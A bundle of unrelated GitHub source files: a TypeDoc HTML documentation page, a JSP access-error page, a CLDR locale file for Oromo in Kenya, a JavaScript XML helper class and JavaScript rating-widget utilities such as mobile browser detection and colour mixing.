tsd-kind-icon">exported<wbr>Global<wbr>Variable<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> = &quot;foo&quot;</span></div> <aside class="tsd-sources"> </aside> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>An exported global variable.</p> </div> </div> </section> <section class="tsd-panel tsd-member tsd-kind-variable tsd-parent-kind-module tsd-is-not-exported"> <a name="globalvariable" class="tsd-anchor"></a> <h3><span class="tsd-flag ts-flagLet">Let</span> global<wbr>Variable</h3> <div class="tsd-signature tsd-kind-icon">global<wbr>Variable<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> = &quot;foo&quot;</span></div> <aside class="tsd-sources"> </aside> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>A non-exported global variable.</p> </div> </div> </section> <section class="tsd-panel tsd-member tsd-kind-variable tsd-parent-kind-module tsd-is-not-exported"> <a name="typeliteral" class="tsd-anchor"></a> <h3><span class="tsd-flag ts-flagLet">Let</span> type<wbr>Literal</h3> <div class="tsd-signature tsd-kind-icon">type<wbr>Literal<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-symbol">{ </span>valueA<span class="tsd-signature-symbol">?: </span><span class="tsd-signature-type">number</span><span class="tsd-signature-symbol">; </span>valueB<span class="tsd-signature-symbol">?: </span><span class="tsd-signature-type">boolean</span><span class="tsd-signature-symbol">; </span>valueX<span class="tsd-signature-symbol">: </span><span class="tsd-signature-symbol">{ </span>valueA<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">number</span><span class="tsd-signature-symbol">[]</span><span class="tsd-signature-symbol">; </span>valueY<span class="tsd-signature-symbol">: </span><span class="tsd-signature-symbol">(</span>z<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol"> =&gt; </span><span class="tsd-signature-symbol">{ </span>a<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">; </span>b<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> }</span><span class="tsd-signature-symbol">; </span>valueZ<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> }</span><span class="tsd-signature-symbol">; </span>valueY<span class="tsd-signature-symbol">: </span><span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol"> =&gt; </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">; </span>valueZ<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> }</span></div> <aside class="tsd-sources"> </aside> <div class="tsd-type-declaration"> <h4>Type declaration</h4> <ul class="tsd-parameters"> <li class="tsd-parameter-signature"> <ul class="tsd-signatures tsd-kind-type-literal tsd-parent-kind-variable tsd-is-not-exported"> <li class="tsd-signature tsd-kind-icon"><span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <h4 class="tsd-returns-title">Returns <span class="tsd-signature-type">string</span></h4> </li> </ul> </li> <li class="tsd-parameter"> <h5><span class="tsd-flag ts-flagOptional">Optional</span> valueA<span class="tsd-signature-symbol">?: </span><span class="tsd-signature-type">number</span></h5> </li> <li class="tsd-parameter"> <h5><span class="tsd-flag ts-flagOptional">Optional</span> valueB<span class="tsd-signature-symbol">?: </span><span class="tsd-signature-type">boolean</span></h5> </li> <li class="tsd-parameter"> <h5>valueX<span class="tsd-signature-symbol">: </span><span class="tsd-signature-symbol">{ </span>valueA<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">number</span><span class="tsd-signature-symbol">[]</span><span class="tsd-signature-symbol">; </span>valueY<span class="tsd-signature-symbol">: </span><span class="tsd-signature-symbol">(</span>z<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol"> =&gt; </span><span class="tsd-signature-symbol">{ </span>a<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">; </span>b<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> }</span><span class="tsd-signature-symbol">; </span>valueZ<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> }</span></h5> <ul class="tsd-parameters"> <li class="tsd-parameter"> <h5>valueA<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">number</span><span class="tsd-signature-symbol">[]</span></h5> </li> <li class="tsd-parameter"> <h5>valueY<span class="tsd-signature-symbol">: </span><span class="tsd-signature-symbol">(</span>z<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol"> =&gt; </span><span class="tsd-signature-symbol">{ </span>a<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">; </span>b<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> }</span></h5> <ul class="tsd-parameters"> <li class="tsd-parameter-signature"> <ul class="tsd-signatures tsd-kind-type-literal tsd-parent-kind-variable tsd-is-not-exported"> <li class="tsd-signature tsd-kind-icon"><span class="tsd-signature-symbol">(</span>z<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><span class="tsd-signature-symbol">{ </span>a<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">; </span>b<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> }</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <h4 class="tsd-parameters-title">Parameters</h4> <ul class="tsd-parameters"> <li> <h5>z: <span class="tsd-signature-type">string</span></h5> </li> </ul> <h4 class="tsd-returns-title">Returns <span class="tsd-signature-symbol">{ </span>a<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">; </span>b<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> }</span></h4> <ul class="tsd-parameters"> <li class="tsd-parameter"> <h5>a<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span></h5> </li> <li class="tsd-parameter"> <h5>b<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span></h5> </li> </ul> </li> </ul> </li> </ul> </li> <li class="tsd-parameter"> <h5>valueZ<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span></h5> </li> </ul> </li> <li class="tsd-parameter"> <h5>valueY<span class="tsd-signature-symbol">: </span><span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol"> =&gt; </span><span class="tsd-signature-type">string</span></h5> <ul class="tsd-parameters"> <li class="tsd-parameter-signature"> <ul class="tsd-signatures tsd-kind-type-literal tsd-parent-kind-variable tsd-is-not-exported"> <li class="tsd-signature tsd-kind-icon"><span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <h4 class="tsd-returns-title">Returns <span class="tsd-signature-type">string</span></h4> </li> </ul> </li> </ul> </li> <li class="tsd-parameter"> <h5>valueZ<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span></h5> </li> </ul> </div> </section> </section> <section class="tsd-panel-group tsd-member-group tsd-is-not-exported"> <h2>Object literals</h2> <section class="tsd-panel tsd-member tsd-kind-object-literal tsd-parent-kind-module tsd-is-not-exported"> <a name="objectliteral" class="tsd-anchor"></a> <h3><span class="tsd-flag ts-flagLet">Let</span> object<wbr>Literal</h3> <div class="tsd-signature tsd-kind-icon">object<wbr>Literal<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-type">object</span></div> <aside class="tsd-sources"> </aside> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>An object literal.</p> </div> </div> <section class="tsd-panel tsd-member tsd-kind-variable tsd-parent-kind-object-literal tsd-is-not-exported"> <a name="objectliteral.valuea-2" class="tsd-anchor"></a> <h3>valueA</h3> <div class="tsd-signature tsd-kind-icon">valueA<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-type">number</span><span class="tsd-signature-symbol"> = 100</span></div> <aside class="tsd-sources"> </aside> </section> <section class="tsd-panel tsd-member tsd-kind-variable tsd-parent-kind-object-literal tsd-is-not-exported"> <a name="objectliteral.valueb-1" class="tsd-anchor"></a> <h3>valueB</h3> <div class="tsd-signature tsd-kind-icon">valueB<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-type">boolean</span><span class="tsd-signature-symbol"> = true</span></div> <aside class="tsd-sources"> </aside> </section> <section class="tsd-panel tsd-member tsd-kind-variable tsd-parent-kind-object-literal tsd-is-not-exported"> <a name="objectliteral.valuez-2" class="tsd-anchor"></a> <h3>valueZ</h3> <div class="tsd-signature tsd-kind-icon">valueZ<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> = &quot;foo&quot;</span></div> <aside class="tsd-sources"> </aside> </section> <section class="tsd-panel tsd-member tsd-kind-function tsd-parent-kind-object-literal tsd-is-not-exported"> <a name="objectliteral.valuey-2" class="tsd-anchor"></a> <h3>valueY</h3> <ul class="tsd-signatures tsd-kind-function tsd-parent-kind-object-literal tsd-is-not-exported"> <li class="tsd-signature tsd-kind-icon">valueY<span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> </aside> <h4 class="tsd-returns-title">Returns <span class="tsd-signature-type">string</span></h4> </li> </ul> </section> <section class="tsd-panel tsd-member tsd-kind-object-literal tsd-parent-kind-object-literal tsd-is-not-exported"> <a name="objectliteral.valuex-1" class="tsd-anchor"></a> <h3>valueX</h3> <div class="tsd-signature tsd-kind-icon">valueX<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-type">object</span></div> <aside class="tsd-sources"> </aside> <section class="tsd-panel tsd-member tsd-kind-variable tsd-parent-kind-object-literal tsd-is-not-exported"> <a name="objectliteral.valuex-1.valuea-3" class="tsd-anchor"></a> <h3>valueA</h3> <div class="tsd-signature tsd-kind-icon">valueA<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-type">number</span><span class="tsd-signature-symbol">[]</span><span class="tsd-signature-symbol"> = [100, 200, 300]</span></div> <aside class="tsd-sources"> </aside> </section> <section class="tsd-panel tsd-member tsd-kind-variable tsd-parent-kind-object-literal tsd-is-not-exported"> <a name="objectliteral.valuex-1.valuez-3" class="tsd-anchor"></a> <h3>valueZ</h3> <div class="tsd-signature tsd-kind-icon">valueZ<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> = &quot;foo&quot;</span></div> <aside class="tsd-sources"> </aside> </section> <section class="tsd-panel tsd-member tsd-kind-function tsd-parent-kind-object-literal tsd-is-not-exported"> <a name="objectliteral.valuex-1.valuey-3" class="tsd-anchor"></a> <h3>valueY</h3> <ul class="tsd-signatures tsd-kind-function tsd-parent-kind-object-literal tsd-is-not-exported"> <li class="tsd-signature tsd-kind-icon">valueY<span class="tsd-signature-symbol">(</span>z<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><span class="tsd-signature-symbol">{ </span>a<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">; </span>b<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> }</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> </aside> <h4 class="tsd-parameters-title">Parameters</h4> <ul class="tsd-parameters"> <li> <h5>z: <span class="tsd-signature-type">string</span></h5> </li> </ul> <h4 class="tsd-returns-title">Returns <span class="tsd-signature-symbol">{ </span>a<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">; </span>b<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol"> }</span></h4> <ul class="tsd-parameters"> <li class="tsd-parameter"> <h5>a<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span></h5> </li> <li class="tsd-parameter"> <h5>b<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span></h5> </li> </ul> </li> </ul> </section> </section> </section> </section> </div> <div class="col-4 col-menu menu-sticky-wrap menu-highlight"> <nav class="tsd-navigation primary"> <ul> <li class="globals "> <a href="../globals.html"><em>Globals</em></a> </li> <li class=" tsd-kind-module"> <a href="_access_.html">&quot;access&quot;</a> </li> <li class=" tsd-kind-module"> <a href="_classes_.html">&quot;classes&quot;</a> </li> <li class=" tsd-kind-module"> <a href="_default_export_.html">&quot;default-<wbr>export&quot;</a> </li> <li class=" tsd-kind-module"> <a href="_enumerations_.html">&quot;enumerations&quot;</a> </li> <li class=" tsd-kind-module"> <a href="_flattened_.html">&quot;flattened&quot;</a> </li> <li class=" tsd-kind-module"> <a href="_functions_.html">&quot;functions&quot;</a> </li> <li class=" tsd-kind-module"> <a href="_generics_.html">&quot;generics&quot;</a> </li> <li class=" tsd-kind-module"> <a href="_mixin_.html">&quot;mixin&quot;</a> </li> <li class=" tsd-kind-module"> <a href="_mod_.html">&quot;mod&quot;</a> </li> <li class=" tsd-kind-module"> <a href="_mod2_.html">&quot;mod2&quot;</a> </li> <li class="current tsd-kind-module"> <a href="_modules_.html">&quot;modules&quot;</a> <ul> <li class=" tsd-kind-namespace tsd-parent-kind-module"> <a href="_modules_.mymodule.html">My<wbr>Module</a> </li> </ul> </li> <li class=" tsd-kind-module"> <a href="_single_export_.html">&quot;single-<wbr>export&quot;</a> </li> <li class=" tsd-kind-module"> <a href="_weird_names_.html">&quot;weird-<wbr>names&quot;</a> </li> </ul> </nav> <nav class="tsd-navigation secondary menu-sticky"> <ul class="before-current"> <li class=" tsd-kind-type-alias tsd-parent-kind-module"> <a href="_modules_.html#namedtuple" class="tsd-kind-icon">Named<wbr>Tuple</a> </li> <li class=" tsd-kind-variable tsd-parent-kind-module"> <a href="_modules_.html#exportedglobalvariable" class="tsd-kind-icon">exported<wbr>Global<wbr>Variable</a> </li> <li class=" tsd-kind-variable tsd-parent-kind-module tsd-is-not-exported"> <a href="_modules_.html#globalvariable" class="tsd-kind-icon">global<wbr>Variable</a> </li> <li class=" tsd-kind-variable tsd-parent-kind-module tsd-is-not-exported"> <a href="_modules_.html#typeliteral" class="tsd-kind-icon">type<wbr>Literal</a> </li> <li class=" tsd-kind-object-literal tsd-parent-kind-module tsd-is-not-exported"> <a href="_modules_.html#objectliteral" class="tsd-kind-icon">object<wbr>Literal</a> </li> </ul> </nav> </div> </div> </div> <footer class="with-border-bottom"> <div class="container"> <h2>Legend</h2> <div class="tsd-legend-group"> <ul class="tsd-legend"> <li class="tsd-kind-namespace"><span class="tsd-kind-icon">Namespace</span></li> <li class="tsd-kind-object-literal"><span class="tsd-kind-icon">Object literal</span></li> <li class="tsd-kind-variable"><span class="tsd-kind-icon">Variable</span></li> <li class="tsd-kind-function"><span class="tsd-kind-icon">Function</span></li> <li class="tsd-kind-function tsd-has-type-parameter"><span class="tsd-kind-icon">Function with type parameter</span></li> <li class="tsd-kind-type-alias"><span class="tsd-kind-icon">Type alias</span></li> <li class="tsd-kind-type-alias tsd-has-type-parameter"><span class="tsd-kind-icon">Type alias with type parameter</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-interface"><span class="tsd-kind-icon">Interface</span></li> <li class="tsd-kind-interface tsd-has-type-parameter"><span class="tsd-kind-icon">Interface with type parameter</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-class"><span class="tsd-kind-icon">Class</span></li> <li class="tsd-kind-class tsd-has-type-parameter"><span class="tsd-kind-icon">Class with type parameter</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-enum"><span class="tsd-kind-icon">Enumeration</span></li> </ul> </div> </div> </footer> <div class="container tsd-generator"> <p>Generated using <a href="https://typedoc.org/" target="_blank">TypeDoc</a></p> </div> <div class="overlay"></div> <script src="../assets/js/main.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@include file="/WEB-INF/jsp/common/header.jsp"%> <%@include file="/WEB-INF/jsp/common/taglibs.jsp"%> <script type="text/javascript"> function toggleErrorTrace() { var errorTrace = $('#errorTrace'); if (errorTrace.is(':visible')) { $('#errorTrace').hide(); } else { $('#errorTrace').show(); } } $(document).ready(function() { $('#errorTrace').hide(); }); </script> <div class="container-fluid"> <div class="content"> <div class="row-fluid"> <div class="span3"> <%@include file="/WEB-INF/jsp/common/include_sidebar.jsp"%> </div> <div class="span9"> <div class="row-fluid"> <div class="span12"> <%@include file="/WEB-INF/jsp/common/include_background_logo.jsp"%> <div class="alert alert-error"> <h2> <spring:message code="error.acl.not.allowed.access.key" /> </h2> <c:if test="${not empty exception}"> <h4> <spring:message code="error.detail.title" /> </h4> <c:catch var="exceptionHasNotErrorMessageKey">${exception.errorMessageKey}</c:catch> <c:choose> <c:when test="${empty exceptionHasNotErrorMessageKey}"> <spring:message code="${exception.errorMessageKey}" arguments="${exception.errorMessageArgs}" htmlEscape="false" /> </c:when> <c:otherwise> <c:out value="${exception.localizedMessage}" escapeXml="false" /> </c:otherwise> </c:choose> <br /> <br /> <button class="btn btn-danger" onclick="toggleErrorTrace();"> <i class="icon-warning-sign icon-white"></i> <spring:message code="error.stacktrace" /> </button> <div id="errorTrace"> <!-- Root cause --> <c:out value="${exception.cause}" /> <br /> <c:forEach items="${exception.stackTrace}" var="trace"> <c:out value="${trace}" /> <br /> </c:forEach> </div> </c:if> </div> </div> </div> </div> </div> </div> </div> <%@include file="/WEB-INF/jsp/common/footer.jsp"%>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ldml SYSTEM "../../common/dtd/ldml.dtd"> <!-- Copyright © 1991-2018 Unicode, Inc. For terms of use, see http://www.unicode.org/copyright.html Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. CLDR data files are interpreted according to the LDML specification (http://unicode.org/reports/tr35/) --> <ldml> <identity> <version number="$Revision: 13869 $"/> <language type="om"/> <territory type="KE"/> </identity> <dates> <calendars> <calendar type="gregorian"> <months> <monthContext type="stand-alone"> <monthWidth type="narrow"> <month type="1">A</month> <month type="2">G</month> <month type="3">B</month> <month type="4">E</month> <month type="5">C</month> <month type="6">W</month> <month type="7">A</month> <month type="8">H</month> <month type="9">F</month> <month type="10">O</month> <month type="11">S</month> <month type="12">M</month> </monthWidth> </monthContext> </months> <days> <dayContext type="stand-alone"> <dayWidth type="narrow"> <day type="sun">D</day> <day type="mon">W</day> <day type="tue">Q</day> <day type="wed">R</day> <day type="thu">K</day> <day type="fri">J</day> <day type="sat">S</day> </dayWidth> </dayContext> </days> <quarters> <quarterContext type="format"> <quarterWidth type="abbreviated"> <quarter type="1">K1</quarter> <quarter type="2">K2</quarter> <quarter type="3">K3</quarter> <quarter type="4">K4</quarter> </quarterWidth> </quarterContext> </quarters> <eras> <eraAbbr> <era type="0">KD</era> <era type="0" alt="variant">BCE</era> <era type="1" alt="variant">KB</era> </eraAbbr> </eras> <timeFormats> <timeFormatLength type="full"> <timeFormat> <pattern>HH:mm:ss zzzz</pattern> </timeFormat> </timeFormatLength> <timeFormatLength type="long"> <timeFormat> <pattern>HH:mm:ss z</pattern> </timeFormat> </timeFormatLength> <timeFormatLength type="medium"> <timeFormat> <pattern>HH:mm:ss</pattern> </timeFormat> </timeFormatLength> <timeFormatLength type="short"> <timeFormat> <pattern>HH:mm</pattern> </timeFormat> </timeFormatLength> </timeFormats> </calendar> </calendars> </dates> <numbers> <currencies> <currency type="KES"> <symbol>Ksh</symbol> </currency> </currencies> </numbers> </ldml>
{ "pile_set_name": "Github" }
/** * 将字符串数据进行整理,变成XML的可读类 */ function XML(data){ var _root = this; var xml = null; var arr = new Array(); var btype if(data != null){ if(data instanceof Array){ arr = data; }else{ if(window.DOMParser){ xml = (new DOMParser()).parseFromString(data, "text/xml").childNodes; }else{ xml = new ActiveXObject("Microsoft.XMLDOM"); xml.loadXML(data); xml = xml.childNodes; } for(var n = 0;n<xml.length;n++){ arr.push(xml[n]); } } } /** * 获取元素的属性 * @param name 属性名称 * @param value 属性值,可以不填写 */ this.qname = function(name,value){//setAttribute,getAttribute if(!name){ return arr[0].attributes; } var outStr = ""; for(var i = 0;i<arr.length;i++){ if(value != null){ arr[i].setAttribute(name,value); } outStr += arr[i].getAttribute(name) + ","; } return outStr.substr(0,outStr.length - 1); } /** * 长度 */ this.length = function (){ return arr.length; } /** * 查找节点内容 */ this.child = function (nodeName){ if(nodeName && nodeName.charAt(0) == '@'){ return this.qname(nodeName.substring(1)); }else if(nodeName && nodeName.charAt(0) == '['){ nodeName = nodeName.substr(1,nodeName.length - 2); var values = nodeName.split("."); var p = this.child(values[0]); var t = null; for(var n = 1;n<values.length;n++){ t = values[n]; if(t.charAt(t.length - 1) == ')'){ p = p.at(t.substring(3,t.length - 1)); continue; } p = p.child(t); } return p; } var a = new Array(); var ch = null; for(var i = 0;i<arr.length;i++){ ch = arr[i].childNodes; for(var j = 0;j<ch.length;j++){ if(nodeName == null || ch[j].nodeName == nodeName){ a.push(ch[j]); } } } return new XML(a); } /** * 制定具体位置 */ this.at = function (pos){ var a = new Array(); a.push(arr[pos]); return new XML(a); } /** * 节点赋值 */ this.node = function(value){ if(value){ for(var i = 0;i<arr.length;i++){ if(typeof(value) == "string"){ arr[i].parentNode.replaceChild(new XML(value)._nodeValue(0),arr[i]); } } } } this._nodeValue = function(p){ return arr[p]; } /** * 获取XML格式内容 */ this.toXMLString = function(){ var outStr = ""; var i = 0; switch(browser){ case "ie5+": for(i = 0;i<arr.length;i++){ outStr += arr[i].xml; } break; case "other" : for(i = 0;i<arr.length;i++){ outStr += (new XMLSerializer()).serializeToString(arr[i]); } break; } return outStr; } /** * 获取JSON数据 */ this.toJSON = function(){ var obj = {}; var arr = null; for(var i = 0;i<this.length();i++){ arr = this.at(i).child('@'); for(var j = 0;j<arr.length;j++){ obj[arr[j].name] = arr[j].value; } } return obj; }; /** * 获取JSON数组 */ this.toJSONArray = function(){ var list = []; var obj = null; var arr = null; for(var i = 0;i<this.length();i++){ arr = this.at(i).child('@'); obj = {}; for(var j = 0;j<arr.length;j++){ obj["@"+arr[j].name] = arr[j].value; } var child = this.at(i).child(); for(j = 0;j<child.length();j++){ obj[child.at(j).getName()] = child.at(j).toString(); } list.push(obj); } return list; }; this.appendChild = function (data){ var child = new XML("<response>" + data + "</response>").child(); var len = child.length(); if(arr.length == 1){ for(var i = 0;i<len;i++){ arr[0].appendChild(child._nodeValue(i)); } } } /** * 删除指定元素 * @param nodeName * @return */ this.removeChild = function(nodeName){ var len = 0; var pos = null; var child = null; for(var i = 0;i<arr.length;i++){ pos = arr[i]; if(nodeName instanceof XML){ child = nodeName; }else{ child = new XML([arr[i]]).child(nodeName); } len = child.length(); for(var j = 0;j<len;j++){ pos.removeChild(child._nodeValue(j)); } } } this.getName = function(){ return arr.length>0 ? arr[0].nodeName : null; } /** * 重写toString方法 */ this.toString = function(){ var outStr = ""; for(var i = 0;i<arr.length;i++){ if(arr[i].childNodes.length != 0){ outStr += arr[i].childNodes[0].wholeText; } } return outStr; } }//XML
{ "pile_set_name": "Github" }
// http://stackoverflow.com/questions/11381673/detecting-a-mobile-browser export function isMobileBrowser () { var check = false; (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))check = true})(navigator.userAgent||navigator.vendor||window.opera); return check; } export function checkPrecision (value, minValue, maxValue) { /* * This function removes the unnecessary precision, at Min and Max Values */ // Its like comparing 0.0 with 0, which is true if (value === minValue) { value = minValue; } else if(value === maxValue) { value = maxValue; } return value; } export function checkBounds (value, minValue, maxValue) { /* * Check if the value is between min and max values, if not, throw an error */ var isValid = value >= minValue && value <= maxValue; if(!isValid){ throw Error("Invalid Rating, expected value between "+ minValue + " and " + maxValue); } return value; } function isType (value, type) { return typeof value === type; } export function isDefined(value) { // Better way to check if a variable is defined or not return typeof value !== "undefined"; } export const isNumber = input => isType(input, "number"); export const isString = input => isType(input, "string"); export const isFunction = input => isType(input, "function"); export const isObject = input => isType(input, "object"); // Regex to match Colors in Hex Format like #FF00FF const hexRegex = /^#([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})$/i; function hexToRGB (hex) { /* * Extracts and returns the Red, Blue, Green Channel values, * in the form of decimals */ if (!hexRegex.test(hex)) { return null; } var hexValues = hexRegex.exec(hex), r = parseInt(hexValues[1], 16), g = parseInt(hexValues[2], 16), b = parseInt(hexValues[3], 16); return {r:r, g:g, b:b}; }; function getChannelValue(startVal, endVal, percent) { /* * Returns a value between `startVal` and `endVal` based on the percent */ var newVal = (endVal - startVal)*(percent/100); newVal = Math.round(startVal + newVal).toString(16); if (newVal.length === 1) { newVal = "0" + newVal; } return newVal; } export function getColor (startColor, endColor, percent) { /* * Given the percentage( `percent` ) of `endColor` to be mixed * with the `startColor`, returns the mixed color. * Colors should be only in Hex Format */ if (!startColor || !endColor) { return null; } percent = isDefined(percent)? percent : 0; startColor = hexToRGB(startColor); endColor = hexToRGB(endColor); var r = getChannelValue(startColor.r, endColor.r, percent), b = getChannelValue(startColor.b, endColor.b, percent), g = getChannelValue(startColor.g, endColor.g, percent); return "#" + r + g + b; } export function each (input, fn) { if (Array.isArray(input)) { return input.forEach( (item, index) => fn.call(item, item, index) ); } if (input && isObject(input)) { for (let key in input) { if (input.hasOwnProperty(key)) { fn.call(input[key], input[key], key); } } } return; }
{ "pile_set_name": "Github" }
